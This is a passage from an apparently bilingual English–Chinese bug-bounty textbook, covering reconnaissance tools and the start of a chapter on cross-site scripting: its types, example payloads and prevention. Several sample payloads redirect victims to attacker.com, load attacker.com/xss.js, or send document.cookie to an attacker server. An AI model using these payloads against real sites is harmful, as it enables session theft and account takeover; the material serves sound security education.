GrayhatWarfare ( https://buckets.grayhatwarfare.com/ ) is an online search engine you can use to find public Amazon S3 buckets.

Lazys3 ( https://github.com/nahamsec/lazys3/ ) and Bucket Stream ( https://github.com/eth0izzle/bucket-stream/ ) brute-force buckets by using keywords.

OSINT

The Google Hacking Database ( https://www.exploit-db.com/google-hacking-database/ ) contains useful Google search terms that frequently reveal vulnerabilities or sensitive files.

KeyHacks ( https://github.com/streaak/keyhacks/ ) helps you determine whether a set of credentials is valid and learn how to use them to access the target’s services.

Gitrob ( https://github.com/michenriksen/gitrob/ ) finds potentially sensitive files that are pushed to public repositories on GitHub.

TruffleHog ( https://github.com/trufflesecurity/truffleHog/ ) specializes in finding secrets in public GitHub repositories by searching for string patterns and high-entropy strings.

PasteHunter ( https://github.com/kevthehermit/PasteHunter/ ) scans online paste sites for sensitive information.

Wayback Machine ( https://archive.org/web/ ) is a digital archive of internet content. You can use it to find old versions of sites and their files.

Waybackurls ( https://github.com/tomnomnom/waybackurls/ ) fetches URLs from the Wayback Machine.

Tech Stack Fingerprinting

The CVE database ( https://cve.mitre.org/cve/search_cve_list.html ) contains publicly disclosed vulnerabilities. You can use its website to search for vulnerabilities that might affect your target.

Wappalyzer ( https://www.wappalyzer.com/ ) identifies content management systems, frameworks, and programming languages used on a site.

BuiltWith ( https://builtwith.com/ ) is a website that shows you which web technologies a website is built with.

StackShare ( https://stackshare.io/ ) is an online platform that allows developers to share the tech they use. You can use it to collect information about your target.

Retire.js ( https://retirejs.github.io/retire.js/ ) detects outdated JavaScript libraries and Node.js packages.

Automation

Git ( https://git-scm.com/ ) is an open sourced version-control system. You can use its git diff command to keep track of file changes.

You should now have a solid understanding of how to conduct reconnaissance on a target. Remember to keep extensive notes throughout your recon process, as the information you collect can really balloon over time. Once you have a solid understanding of how to conduct recon on a target, you can try to leverage recon platforms like Nuclei ( https://github.com/projectdiscovery/nuclei/ ) or Intrigue Core ( https://github.com/intrigueio/intrigue-core/ ) to make your recon process more efficient. But when you’re starting out, I recommend that you do recon manually with individual tools or write your own automated recon scripts to learn about the process.

现在你应该已经对如何对目标进行侦查有了深入的理解。记得在整个侦查过程中保持详细的笔记，因为你收集的信息可能会随着时间的推移而不断增加。一旦你对如何在目标上进行侦察有了牢固的理解，你可以尝试利用像 Nuclei（https://github.com/projectdiscovery/nuclei/）或 Intrigue Core（https://github.com/intrigueio/intrigue-core/）这样的侦查平台，使你的侦察过程更加高效。但当你刚开始时，我建议你使用单个工具手动进行侦查，或编写自己的自动化侦查脚本以了解该过程。

Part III
Web Vulnerabilities

6
Cross-Site Scripting

Let’s start with cross-site scripting ( XSS ) , one of the most common bugs reported to bug bounty programs. It’s so prevalent that, year after year, it shows up in OWASP’s list of the top 10 vulnerabilities threatening web applications. It’s also HackerOne’s most reported vulnerability, with more than $4 million paid out in 2020 alone.

让我们从跨站脚本攻击（XSS）开始，这是报告给赏金计划的最常见的漏洞之一。它如此普遍，以至于它每年都出现在OWASP列出的威胁Web应用程序的前10个漏洞中。它也是HackerOne最常见的漏洞之一，仅2020年就支付了超过400万美元的报酬。

An XSS vulnerability occurs when attackers can execute custom scripts on a victim’s browser. If an application fails to distinguish between user input and the legitimate code that makes up a web page, attackers can inject their own code into pages viewed by other users. The victim’s browser will then execute the malicious script, which might steal cookies, leak personal information, change site contents, or redirect the user to a malicious site. These malicious scripts are often JavaScript code but can also be HTML, Flash, VBScript, or anything written in a language that the browser can execute.

XSS漏洞会在攻击者可以在受害者的浏览器上执行自定义脚本时发生。如果应用程序无法区分用户输入和组成网页的合法代码，则攻击者可以将自己的代码注入其他用户查看的页面中。然后，受害者的浏览器将执行恶意脚本，可能窃取cookie，泄露个人信息，更改站点内容或重定向用户到恶意站点。这些恶意脚本通常是JavaScript代码，但也可以是HTML、Flash、VBScript或使用浏览器可以执行的任何语言编写的脚本。

In this chapter, we’ll dive into what XSS vulnerabilities are, how to exploit them, and how to bypass common protections. We’ll also discuss how to escalate XSS vulnerabilities when you find one.

本章将深入探讨什么是 XSS 漏洞，如何利用它们以及如何绕过常见保护措施。我们还将讨论在发现 XSS 漏洞时如何升级它们。

Mechanisms

In an XSS attack, the attacker injects an executable script into HTML pages viewed by the user. This means that to understand XSS, you’ll have to first understand JavaScript and HTML syntax.

在XSS攻击中，攻击者向用户查看的HTML页面注入可执行脚本。这意味着要了解XSS，您必须首先了解JavaScript和HTML语法。

Web pages are made up of HTML code whose elements describe the page’s structure and contents. For example, an <h1> tag defines a web page’s header, and a <p> tag represents a paragraph of text. The tags use corresponding closing tags, like </h1> and </p> , to indicate where the contents of the element should end. To see how this works, save this code in a file named test.html :

网页由 HTML 代码构成，其元素描述页面的结构和内容。例如，<h1> 标签定义网页标题，<p> 标签表示文本段落。标签使用相应的闭合标签，如 </h1> 和 </p>，来指示元素的内容应该在哪里结束。为了看到这个工作原理，请将此代码保存在名为 test.html 的文件中：

<html>
  <h1>Welcome to my web page.</h1>
  <p>Thanks for visiting!</p>
</html>

Now open it with your web browser. You can do this by right-clicking the HTML file, clicking Open With , and then selecting your preferred web browser, like Google Chrome, Mozilla Firefox, or Microsoft Internet Explorer. Or you can simply open your web browser and drag the HTML file into the browser window. You should see a simple web page like Figure 6-1 .

现在用您的浏览器打开它。您可以右键点击HTML文件，选择"使用...打开"，然后选择您喜欢的浏览器，如Google Chrome，Mozilla Firefox或Microsoft Internet Explorer。或者您可以直接打开浏览器并将HTML文件拖到浏览器窗口中。您应该会看到一个简单的网页，就像图6-1一样。

Figure 6-1 : Our simple HTML page rendered in a browser

图6-1：我们的简单HTML网页在浏览器上呈现。

In addition to formatting text, HTML lets you embed images with <img> tags, create user-input forms with <form> tags, link to external pages with <a> tags, and perform many other tasks. A full tutorial on how to write HTML code is beyond the scope of this chapter, but you can use W3School’s tutorial ( https://www.w3schools.com/html/default.asp ) as a resource.

除了格式化文本外，HTML 还允许您使用 <img> 标签嵌入图像，使用 <form> 标签创建用户输入表单，使用 <a> 标签链接到外部页面以及执行许多其他任务。如何编写HTML代码的完整教程超出了本章的范围，但您可以使用 W3School 的教程（https://www.w3schools.com/html/default.asp）作为资源。

HTML also allows the inclusion of executable scripts within HTML documents using <script> tags. Websites use these scripts to control client-side application logic and make the website interactive. For example, the following script generates a Hello! pop-up on the web page:

HTML还允许使用<script>标签在HTML文档中包含可执行脚本。网站使用这些脚本来控制客户端应用程序逻辑并使网站变得交互式。例如，以下脚本会在网页上生成Hello!弹窗：

<html>
  <script>alert("Hello!");</script>
  <h1>Welcome to my web page!</h1>
  <p>Thanks for visiting!</p>
</html>

Scripts like this one that are embedded within an HTML file instead of loaded from a separate file are called inline scripts . These scripts are the cause of many XSS vulnerabilities. (Besides embedding a script inside the HTML page as an inline script, sites can also load JavaScript code as an external file, like this: <script src=" URL_OF_EXTERNAL_SCRIPT "></script> .)

像这种嵌入在 HTML 文件中而不是从单独的文件加载的脚本被称为内联脚本。这些脚本是许多 XSS 漏洞的根本原因。（除了将脚本嵌入 HTML 页作为内联脚本之外，网站还可以像这样加载 JavaScript 代码作为外部文件：<script src="URL_OF_EXTERNAL_SCRIPT"></script>。）内联脚本是XSS漏洞的一个主要因素。

To see why, let’s say that our site contains an HTML form that allows visitors to subscribe to a newsletter ( Figure 6-2 ).

让我们看看为什么，假设我们的网站包含一个 HTML 表单，让访客可以订阅新闻简报（图 6-2）。

Figure 6-2 : Our HTML page with an HTML form

图6-2：我们的HTML页面带有HTML表单。

The source HTML code of the page looks like this:

该页面的源HTML代码如下：

<h1>Welcome to my site.</h1>
<h3>This is a cybersecurity newsletter that focuses on bug bounty
news and write-ups. Please subscribe to my newsletter below to
receive new cybersecurity articles in your email inbox.</h3>
<form action="/subscribe" method="post">
  <label for="email">Email:</label><br>
  <input type="text" id="email" value="Please enter your email.">
  <br><br>
  <input type="submit" value="Submit">
</form>

After a visitor inputs an email address, the website confirms it by displaying it on the screen ( Figure 6-3 ).

在访客输入电子邮件地址后，网站将通过在屏幕上显示来确认它（图6-3）。

Figure 6-3 : The confirmation message after a visitor subscribes to our newsletter

图6-3: 访客订阅我们的新闻通讯后的确认信息。

The HTML that generates the confirmation message looks like this; HTML <b> tags indicate boldface text:

生成确认消息的HTML代码如下； HTML<b>标签表示加粗文本：

<p>Thanks! You have subscribed <b>vickie@gmail.com</b> to the newsletter.</p>

The page constructs the message by using user input. Now, what if a user decides to input a script instead of an email address in the email form? For instance, a script that sets the location of a web page will make the browser redirect to the location specified:

如果用户在电子邮件表单中输入脚本而不是电子邮件地址，页面将使用用户输入构建消息。例如，设置网页位置的脚本将使浏览器重定向到指定位置。

<script>location="http://attacker.com";</script>

The attacker could enter this script into the email form field and click Submit ( Figure 6-4 ).

攻击者可以将此脚本输入到电子邮件表单字段中并单击提交（图6-4）。

Figure 6-4 : An attacker can enter a script instead of an email in the input field.

图6-4：攻击者可以在输入框中输入脚本代替电子邮件。

If the website doesn’t validate or sanitize the user input before constructing the confirmation message, the page source code would become the following:

如果网站在构建确认消息之前不验证或清理用户输入，则页面源代码将变为以下内容：

<p>Thanks! You have subscribed <b><script>location="http://attacker.com";</script></b> to the newsletter.</p>

Validating user input means that the application checks that the user input meets a certain standard—in this case, does not contain malicious JavaScript code. Sanitizing user input, on the other hand, means that the application modifies special characters in the input that can be used to interfere with HTML logic before further processing.

验证用户输入意味着应用程序检查用户输入是否符合某种标准——在这种情况下，是否不包含恶意JavaScript代码。另一方面，消毒用户输入意味着应用程序修改输入中的特殊字符，这些字符可以在进一步处理之前干扰HTML逻辑。

As a result, the inline script would cause the page to redirect to attacker.com . XSS happens when attackers can inject scripts in this manner onto a page that another user is viewing. The attacker can also use a different syntax to embed malicious code. The src attribute of the HTML <script> tag allows you to load JavaScript from an external source. This piece of malicious code will execute the contents of http://attacker.com/xss.js/ on the victim’s browser during an XSS attack:

因此，内联脚本会导致页面重定向到attacker.com。 XSS发生在攻击者能够以这种方式注入脚本到另一个用户正在查看的页面上。 攻击者也可以使用不同的语法来嵌入恶意代码。 HTML <script> 标签的 src 属性允许您从外部资源加载JavaScript。 在XSS攻击期间，这段恶意代码将执行http://attacker.com/xss.js/的内容在受害者的浏览器上执行。

<script src=http://attacker.com/xss.js></script>

This example isn’t really exploitable, because attackers have no way of injecting the malicious script on other users’ pages. The most they could do is redirect themselves to the malicious page. But let’s say that the site also allows users to subscribe to the newsletter by visiting the URL https://subscribe.example.com?email=SUBSCRIBER_EMAIL . After users visit the URL, they will be automatically subscribed, and the same confirmation will be shown on the web page. In this case, attackers can inject the script by tricking users into visiting a malicious URL:

这个例子并不是真正的可利用，因为攻击者没有办法在其他用户的页面上注入恶意脚本。他们最多只能将自己重定向到恶意页面。但假设该网站还允许用户通过访问URL https://subscribe.example.com?email=SUBSCRIBER_EMAIL来订阅通讯。用户访问该URL后，将会自动订阅，并在网页上显示相同的确认信息。这种情况下，攻击者可以通过欺骗用户访问恶意URL来注入脚本。

https://subscribe.example.com?email=<script>location="http://attacker.com";</script>

Since the malicious script gets incorporated into the page, the victim’s browser will think the script is part of that site. Then the injected script can access any resources that the browser stores for that site, including cookies and session tokens. Attackers can, therefore, use these scripts to steal information and bypass access control. For example, attackers might steal user cookies by making the victim’s browser send a request to the attacker’s IP with the victim’s cookie as a URL parameter:

由于恶意脚本被嵌入页面中，受害者浏览器将认为该脚本是该网站的一部分。然后，注入的脚本可以访问浏览器为该网站存储的任何资源，包括Cookie和会话令牌。攻击者因此可以使用这些脚本窃取信息并绕过访问控制。例如，攻击者可能通过使受害者浏览器发送带有受害者Cookie作为URL参数的请求来窃取用户Cookie。

<script>image = new Image();
image.src='http://attacker_server_ip/?c='+document.cookie;</script>

This script contains JavaScript code to load an image from the attacker’s server, with the user’s cookies as part of the request. The browser will send a GET request to the attacker’s IP, with the URL parameter c (for cookie ) containing the user’s document.cookie , which is the victim user’s cookie on the current site. In this way, attackers can use the XSS to steal other users’ cookies by inspecting incoming requests on their server logs. Note that if the session cookie has the HttpOnly flag set, JavaScript will not be able to read the cookie, and therefore the attacker will not be able to exfiltrate it. Nevertheless, XSS can be used to execute actions on the victim’s behalf, modify the web page the victim is viewing, and read the victim’s sensitive information, such as CSRF tokens, credit card numbers, and any other details rendered on their page.

这个脚本包含了JavaScript代码，用于从攻击者的服务器上载入一个图片，并将用户的cookies作为请求的一部分。浏览器将发送一个GET请求到攻击者的IP地址，并带有URL参数c（用于cookie），其中包含用户的document.cookie，也就是当前网站受害用户的cookie。通过这种方式，攻击者可以使用XSS窃取其他用户的cookie，通过检查其服务器日志中的传入请求。请注意，如果会话cookie设置了HttpOnly标志，则JavaScript将无法读取cookie，因此攻击者将无法窍取它。尽管如此，XSS仍可用于代表受害者执行操作，修改受害者正在查看的网页，并读取受害者的敏感信息，例如CSRF令牌、信用卡号码和在其页面上呈现的任何其他详细信息。

Types of XSS

There are three kinds of XSS: stored XSS, reflected XSS, and DOM-based XSS. The difference between these types is in how the XSS payload travels before it gets delivered to the victim user. Some XSS flaws also fall into special categories: blind XSS and self-XSS, which we’ll talk about in a bit.

有三种XSS：存储的XSS、反射的XSS和基于DOM的XSS。这些类型之间的区别在于XSS负载在传递到受害用户之前的方式。某些XSS漏洞也属于特殊类型：盲XSS和自身XSS，稍后我们将讨论它们。

Stored XSS

Stored XSS happens when user input is stored on a server and retrieved unsafely. When an application accepts user input without validation, stores it in its servers, and then renders it on users’ browsers without sanitization, malicious JavaScript code can make its way into the database and then to victims’ browsers.

存储型XSS发生在用户输入被存储在服务器上并且未经安全检查就被检索出来。当一个应用程序接受用户输入却没有进行验证，直接在服务器上存储，并在用户浏览器上渲染而不消毒时，有害的JavaScript代码就会进入数据库，进而传递到受害者的浏览器中。

Stored XSS is the most severe XSS type that we will discuss in this chapter, because it has the potential of attacking many more users than reflected, DOM, or self-XSS. Sometimes during a stored-XSS attack, all the user has to do to become a victim is to view a page with the payload embedded, whereas reflected and DOM XSS usually require the user to click a malicious link. Finally, self-XSS requires a lot of social engineering to succeed.

存储的XSS是本章讨论的最严重的XSS类型，因为它具有攻击比反射型、DOM或自我XSS更多用户的潜力。在存储的XSS攻击期间，有时用户只需要查看嵌入载荷的页面即可成为受害者，而反射型和DOM XSS通常需要用户点击恶意链接。最后，自我XSS需要大量社会工程才能成功。

During a stored XSS attack, attackers manage to permanently save their malicious scripts on the target application’s servers for others to access. Perhaps they’re able to inject the script in the application’s user database. Or maybe they get it in the server logs, on a message board, or in comment field. Every time users access the stored information, the XSS executes in their browser.

在存储型 XSS 攻击中，攻击者成功将他们的恶意脚本永久保存在目标应用程序的服务器上，供他人访问。也许他们能够将脚本注入应用程序的用户数据库中。或者他们在服务器日志、留言板或评论字段中获取它。每次用户访问存储的信息时，XSS 都会在他们的浏览器中执行。

For example, let’s say a comment field on an internet forum is vulnerable to XSS. When a user submits a comment to a blog post, that user input is not validated or sanitized in any way before it gets rendered to anyone who views that blog post. An attacker can submit a comment with JavaScript code and have that code executed by any user who views that blog post!

例如，假设某个互联网论坛上的评论字段存在XSS漏洞。当用户向博客文章提交评论时，该用户输入不会被验证或清理，然后就会显示给任何查看该博客文章的用户。攻击者可以提交一个带有JavaScript代码的评论，然后通过查看该博客文章的任何用户来执行该代码！

A great proof of concept for XSS is to generate an alert box in the browser via injected JavaScript code, so let’s give that a try. The JavaScript code alert('XSS by Vickie') will generate a pop-up on the victim’s browser that reads XSS by Vickie :

通过注入 JavaScript 代码在浏览器上生成一个警报框是 XSS 的巨大概念证明，所以让我们试试。JavaScript 代码 alert('XSS by Vickie') 将在受害者的浏览器上生成一个弹出窗口，其内容为“Vickie 的 XSS”：

<script>alert('XSS by Vickie');</script>

If submitted, this message would become embedded on the forum page’s HTML code, and the page would be displayed to all the visitors who view that comment:

如果提交，此消息将嵌入在论坛页面的HTML代码中，并将显示给所有查看该评论的访问者：

<h2>Vickie's message</h2>
<p>What a great post! Thanks for sharing.</p>
<h2>Attacker's message</h2>
<p><script>alert('XSS by Vickie');</script></p>

Figure 6-5 shows the two messages rendered in a browser.

图6-5展示了在浏览器中呈现的两个消息。

Figure 6-5 : The HTML page with two messages rendered in the browser. You can see that the attacker’s message is blank because the browser interprets it as a script instead of text.

图6-5：在浏览器中呈现出两条消息的HTML页面。你可以看到，攻击者的消息是空白的，因为浏览器将其解释为脚本而不是文本。

When you load this HTML page in your browser, you’ll see the attacker’s comment field displayed as blank. This is because your browser interpreted <script>alert('XSS by Vickie');</script> located in the <p> tags as a script, not as regular text. You should notice a pop-up window that reads XSS by Vickie .

当您在浏览器中加载此HTML页面时，您会看到攻击者的注释字段显示为空白。这是因为您的浏览器将位于<p>标记中的<script>alert('XSS by Vickie');</script>解释为一个脚本，而不是普通文本。您应该注意到弹出窗口，其中显示XSS by Vickie。

Every time a user views the comment on the forum, their browser will execute the embedded JavaScript. Stored XSS tends to be the most dangerous because attackers can attack many victims with a single payload.

每当用户在论坛上查看评论时，他们的浏览器将执行嵌入式JavaScript。存储的XSS往往是最危险的，因为攻击者可以用单个有效负载攻击许多受害者。

Blind XSS

Blind XSS vulnerabilities are stored XSS vulnerabilities whose malicious input is stored by the server and executed in another part of the application or in another application that you cannot see.

盲XSS漏洞是存储XSS漏洞，其恶意输入被服务器存储，然后在您无法看到的应用程序的另一个部分或另一个应用程序中执行。

For example, let’s say that a page on example.com allows you to send a message to the site’s support staff. When a user submits a message, that input is not validated or sanitized in any way before it gets rendered to the site’s admin page. An attacker can submit a message with JavaScript code and have that code executed by any admin who views that message.

例如，假设example.com的一个页面允许你发送信息给网站的支持团队。当用户提交信息时，在渲染到网站的管理员页面之前，该输入没有进行任何验证或清洗。攻击者可以提交带有JavaScript代码的消息，并让任何查看该消息的管理员执行该代码。

These XSS flaws are harder to detect, since you can’t find them by looking for reflected input in the server’s response, but they can be just as dangerous as regular stored XSS vulnerabilities. Often, blind XSS can be used to attack administrators, exfiltrate their data, and compromise their accounts.

这些XSS漏洞更难检测，因为你无法通过查找服务器响应中的反射输入来发现它们，但它们可能与常规存储的XSS漏洞一样危险。通常，盲目的XSS可以用来攻击管理员，窃取他们的数据并攻陷他们的帐户。

Reflected XSS

Reflected XSS vulnerabilities happen when user input is returned to the user without being stored in a database. The application takes in user input, processes it server-side, and immediately returns it to the user.

反射性XSS漏洞发生在未被存储在数据库中的用户输入被返回给用户时。应用程序接受用户输入，经服务器处理后立即返回给用户。

The first example I showed, with the email form, involved a reflected XSS attack. These issues often happen when the server relies on user input to construct pages that display search results or error messages. For example, let’s say a site has a search functionality. The user can input a search term via a URL parameter, and the page will display a message containing the term at the top of the results page. If a user searches abc , the source code for the related message might look like this:

我展示的第一个例子是一个邮件表单，遭受了反射型 XSS 攻击。这种问题通常发生在服务器依赖用户输入构建用于显示搜索结果或错误信息的页面时。例如，假设一个网站有搜索功能。用户可以通过 URL 参数输入搜索词，然后在结果页面顶部显示一个包含该词的消息。如果用户搜索了 abc，相关消息的源代码可能如下所示：

<h2>You searched for abc; here are the results!</h2>

If the search functionality displays any user-submitted search string on the results page, a search term like the following would cause a script to become embedded on the results page and executed by the browser:

如果搜索功能在结果页面上显示了任何用户提交的搜索字符串，那么像以下这样的搜索词将会在结果页面上嵌入一个脚本并由浏览器执行：

https://example.com/search?q=<script>alert('XSS by Vickie');</script>

If an attacker can trick victims into visiting this URL, the payload will become embedded in their version of the page, making the victim’s browser run whatever code the attacker would like. Unlike stored XSS, which allows attackers to execute code on anyone who accesses their stored resources, reflected XSS enables attackers to execute code on the browsers of victims who click their malicious links.

如果攻击者能够诱骗受害者访问此URL，则负载将嵌入到其页面版本中，使受害者的浏览器运行攻击者希望运行的任何代码。与存储的XSS不同，其允许攻击者在访问其存储资源的任何人上执行代码，反射型XSS可以使攻击者在点击其恶意链接的受害者的浏览器上执行代码。

DOM-Based XSS

DOM-based XSS is similar to reflected XSS, except that in DOM-based XSS, the user input never leaves the user’s browser. In DOM-based XSS, the application takes in user input, processes it on the victim’s browser, and then returns it to the user.

DOM-based XSS与反射式XSS类似，区别在于在DOM-based XSS中，用户输入永远不会离开用户的浏览器。 在DOM-based XSS中，应用程序接收用户输入，通过受害者浏览器上的处理，然后将其返回给用户。

The Document Object Model (DOM) is a model that browsers use to render a web page. The DOM represents a web page’s structure; it defines the basic properties and behavior of each HTML element, and helps scripts access and modify the contents of the page. DOM-based XSS targets a web page’s DOM directly: it attacks the client’s local copy of the web page instead of going through the server. Attackers are able to attack the DOM when a page takes user-supplied data and dynamically alters the DOM based on that input. JavaScript libraries like jQuery are prone to DOM-based XSS since they dynamically alter DOM elements.

文档对象模型 (DOM) 是浏览器用于呈现网页的模型。DOM 表示网页的结构；它定义了每个 HTML 元素的基本属性和行为，并帮助脚本访问和修改页面的内容。基于 DOM 的 XSS 直接针对网页的 DOM：它攻击客户端的本地网页副本，而不是通过服务器。攻击者可以在页面采用用户提供的数据并基于输入动态修改 DOM 时攻击 DOM。像 jQuery 这样的 JavaScript 库容易受到基于 DOM 的 XSS 的攻击，因为它们会动态修改 DOM 元素。

As in reflected XSS, attackers submit DOM-based XSS payloads via the victim’s user input. Unlike reflected XSS, a DOM-based XSS script doesn’t require server involvement, because it executes when user input modifies the source code of the page in the browser directly. The XSS script is never sent to the server, so the HTTP response from the server won’t change.

与反射型XSS类似，攻击者通过受害者的用户输入提交基于DOM的XSS载荷。不像反射型XSS，基于DOM的XSS脚本不需要服务器参与，因为当用户输入直接修改页面的源代码时，它就会执行。 XSS脚本永远不会发送到服务器，因此服务器的HTTP响应不会改变。

This might all sound a bit abstract, so let’s consider an example. Say a website allows the user to change their locale by submitting it via a URL parameter:

这可能听起来有点抽象，那么让我们举个例子。假设一个网站允许用户通过提交 URL 参数来更改地区设置：

https://example.com?locale=north+america

The web page’s client-side code will use this locale to construct a welcome message whose HTML looks like this:

网页的客户端代码将使用该区域设置来构建欢迎信息，其HTML格式如下：

<h2>Welcome, user from north america!</h2>

The URL parameter isn’t submitted to the server. Instead, it’s used locally, by the user’s browser, to construct a web page by using a client-side script. But if the website doesn’t validate the user-submitted locale parameter, an attacker can trick users into visiting a URL like this one:

URL参数并未提交到服务器。相反，它是由用户的浏览器本地使用客户端脚本构建网页。但如果网站不验证用户提交的本地语言参数，攻击者可以欺骗用户访问像这样的URL。

https://example.com?locale=
<script>location='http://attacker_server_ip/?c='+document.cookie;</script>

The site will embed the payload on the user’s web page, and the victim’s browser will execute the malicious script.

该网站将在用户的网页上嵌入有效载荷，而受害人的浏览器将执行恶意脚本。

DOM XSS may sound a lot like reflected XSS at first. The difference is that the reflected XSS payload gets sent to the server and returned to the user’s browser within an HTTP response. On the other hand, the DOM XSS payload is injected onto a page because of client-side code rendering user input in an insecure manner. Although the results of the two attacks are similar, the processes of testing for them and protecting against them are different.

DOM XSS一开始可能听起来很像反射型XSS。区别在于，反射型XSS有效载荷被发送到服务器并在HTTP响应中返回给用户的浏览器。另一方面，DOM XSS有效载荷是通过客户端代码以不安全的方式呈现用户输入而注入到页面中的。尽管这两种攻击的结果类似，但针对它们进行测试和保护的过程却不同。

The user input fields that can lead to reflected and DOM-based XSS aren’t always URL parameters. Sometimes they show up as URL fragments or pathnames. URL fragments are strings, located at the end of a URL, that begin with a # character. They are often used to automatically direct users to a section within a web page or transfer additional information. For example, this is a URL with a fragment that takes the user to the #about_us section of the site’s home page:

可以导致反射和基于DOM的XSS的用户输入字段并不总是URL参数。有时它们会出现在URL片段或路径名中。 URL片段是位于URL末尾的字符串，以＃字符开头。它们经常用于自动将用户引导到Web页面中的某个部分或传输额外信息。例如，以下是带有片段的URL，将用户带到站点主页的＃about_us部分：

https://example.com#about_us

We’ll talk more about the components of a URL in Chapter 7 . For information about DOM XSS and some example payloads, see the PortSwigger article “DOM-Based XSS” at https://portswigger.net/web-security/cross-site-scripting/dom-based/ .

我们将在第7章更详细地讨论URL的组成部分。关于DOM XSS和一些示例载荷的信息，请参阅PortSwigger文章“DOM-Based XSS”（https://portswigger.net/web-security/cross-site-scripting/dom-based/）。

Self-XSS

Self-XSS attacks require victims to input a malicious payload themselves. To perform these, attackers must trick users into doing much more than simply viewing a page or browsing to a particular URL.

自我XSS攻击需要受害者自己输入恶意载荷。为了执行这些攻击，攻击者必须欺骗用户做比仅仅查看页面或浏览到特定网址更多的事情。

For example, let’s say that a field on a user’s dashboard is vulnerable to stored XSS. But since only the victim can see and edit the field, there is no way for an attacker to deliver the payload unless the attacker can somehow trick the victim into changing the value of the field into the XSS payload.

例如，假设用户仪表板上的某个字段容易受到存储型 XSS 攻击。但由于只有受害者可以看到和编辑该字段，攻击者无法将有效负载传递给受害者，除非攻击者可以以某种方式诱骗受害者将字段的值更改为 XSS 有效负载。

If you’ve ever seen social media posts or text messages telling you to paste a piece of code into your browser to “do something cool,” it was probably attack code aimed at tricking you into launching self-XSS against yourself. Attackers often embed a piece of malicious payload (usually via a shortened URL like bitly.com so victims won’t suspect anything) into a complicated-looking piece of code and use social media to fool unsuspecting users into attacking themselves.

如果你曾经看到过社交媒体帖子或短信告诉你把一段代码粘贴到你的浏览器里“做些酷炫的事情”，那就很可能是攻击者发送有意识欺骗你启动自我跨站脚本攻击的恶意代码。攻击者通常会将一个恶意载荷（通常是通过像bitly.com这样的短网址引入）嵌入一个看起来复杂的代码片段中，并利用社交媒体欺骗不怀疑的用户攻击自己。

In bug bounties, self-XSS bugs are not usually accepted as valid submissions because they require social engineering. Bugs that require social engineering , or manipulation of the victims, are not usually accepted in bug bounty programs because they are not purely technical issues.

在漏洞赏金中，自我 XSS 漏洞通常不被视为有效提交，因为它们需要社会工程学。需要社会工程学或操纵受害者的漏洞通常不会被接受在漏洞赏金计划中，因为它们不是纯技术问题。

Prevention

To prevent XSS, an application should implement two controls: robust input validation and contextual output escaping and encoding. Applications should never insert user-submitted data directly into an HTML document—including, for example, inside <script> tags, HTML tag names, or attribute names. Instead, the server should validate that user-submitted input doesn’t contain dangerous characters that might influence the way browsers interpret the information on the page. For example, user input containing the string "<script>" is a good indicator that the input contains an XSS payload. In this case, the server could block the request, or sanitize it by removing or escaping special characters before further processing.

为预防XSS攻击，应用程序应实施两个控件：强大的输入验证和上下文输出转义和编码。应用程序不应将用户提交的数据直接插入HTML文档中，例如在<script>标签、HTML标记名称或属性名称中。相反，服务器应验证用户提交的输入不包含可能影响浏览器解释页面信息的危险字符。例如，包含字符串"<script>"的用户输入是输入包含XSS有效载荷的好指标。在这种情况下，服务器可以阻止请求，或在进一步处理之前删除或转义特殊字符。

Escaping refers to the practice of encoding special characters so that they are interpreted literally instead of as a special character by the programs or machines that process the characters. There are different ways of encoding a character. Applications will need to encode the user input based on where it will be embedded. If the user input is inserted into <script> tags, it needs to be encoded in JavaScript format. The same goes for input inserted into HTML, XML, JSON, and CSS files.

"转义是指将特殊字符进行编码，以便程序或机器可以将其解释为字面量，而非特殊字符的一种实践。编码字符有不同的方式。应用程序需要根据输入的嵌入位置对用户输入进行编码。如果用户输入插入到<script>标记中，则需要以JavaScript格式进行编码。对于插入到HTML、XML、JSON和CSS文件中的输入，同样需要相应的编码。"

In the context of our example, the application needs to encode special characters into a format used by HTML documents. For example, the left and right angle brackets can be encoded into HTML characters &lt and &gt . To prevent XSS, the application should escape characters that have special meaning in HTML, such as the & character, the angle brackets < and > , single and double quotes, and the forward-slash character.

在我们的例子中，应用程序需要将特殊字符编码为HTML文档使用的格式。例如，左右尖括号可以编码为HTML字符&lt和&gt。为了防止XSS，应用程序应该转义HTML中具有特殊含义的字符，如&字符、尖括号<和>、单引号和双引号，以及斜杠字符。

Escaping ensures that browsers won’t misinterpret these characters as code to execute. This is what most modern applications do to prevent XSS. The application should do this for every piece of user input that will be rendered or accessed by a user’s browser. Many modern JavaScript frameworks such as React, Angular 2+, and Vue.js automatically do this for you, so many XSS vulnerabilities can be prevented by choosing the right JavaScript framework to use.

转义确保浏览器不会将这些字符误解为要执行的代码。这是大多数现代应用程序为防止XSS所做的工作。应用程序应该对每个将在用户浏览器中呈现或访问的用户输入执行此操作。许多现代JavaScript框架，如React，Angular 2+和Vue.js，会自动为您执行此操作，因此选择正确的JavaScript框架可以预防许多XSS漏洞。

The prevention of DOM-based XSS requires a different approach. Since the malicious user input won’t pass through the server, sanitizing the data that enters and departs from the server won’t work. Instead, applications should avoid code that rewrites the HTML document based on user input, and the application should implement client-side input validation before it is inserted into the DOM.

DOM-based XSS预防需要不同的方法。由于恶意用户输入不会通过服务器，因此对进出服务器的数据进行净化并不起作用。相反，应用程序应该避免基于用户输入重写HTML文档的代码，并且应该在插入到DOM之前实施客户端输入验证。

You can also take measures to mitigate the impact of XSS flaws if they do happen. First, you can set the HttpOnly flag on sensitive cookies that your site uses. This prevents attackers from stealing those cookies via XSS. You should also implement the Content-Security-Policy HTTP response header. This header lets you restrict how resources such as JavaScript, CSS, or images load on your web pages. To prevent XSS, you can instruct the browser to execute only scripts from a list of sources. For more information about preventing XSS attacks, visit the OWASP XSS prevention cheat sheet, https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html .

如果出现 XSS 漏洞，您也可以采取措施来减轻其影响。首先，您可以在网站使用的敏感 cookie 上设置 HttpOnly 标志。这将防止攻击者通过 XSS 窃取这些 cookie。您还应该实现 Content-Security-Policy HTTP 响应头。该头让您限制资源（如 JavaScript、CSS 或图像）在您的网页上的加载方式。为了防止 XSS，您可以指示浏览器仅执行来自一组源的脚本。有关防止 XSS 攻击的更多信息，请访问 OWASP XSS 防范小抄 https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html。

Hunting for XSS

Look for XSS in places where user input gets rendered on a page. The process will vary for the different types of XSS, but the central principle remains the same: check for reflected user input.

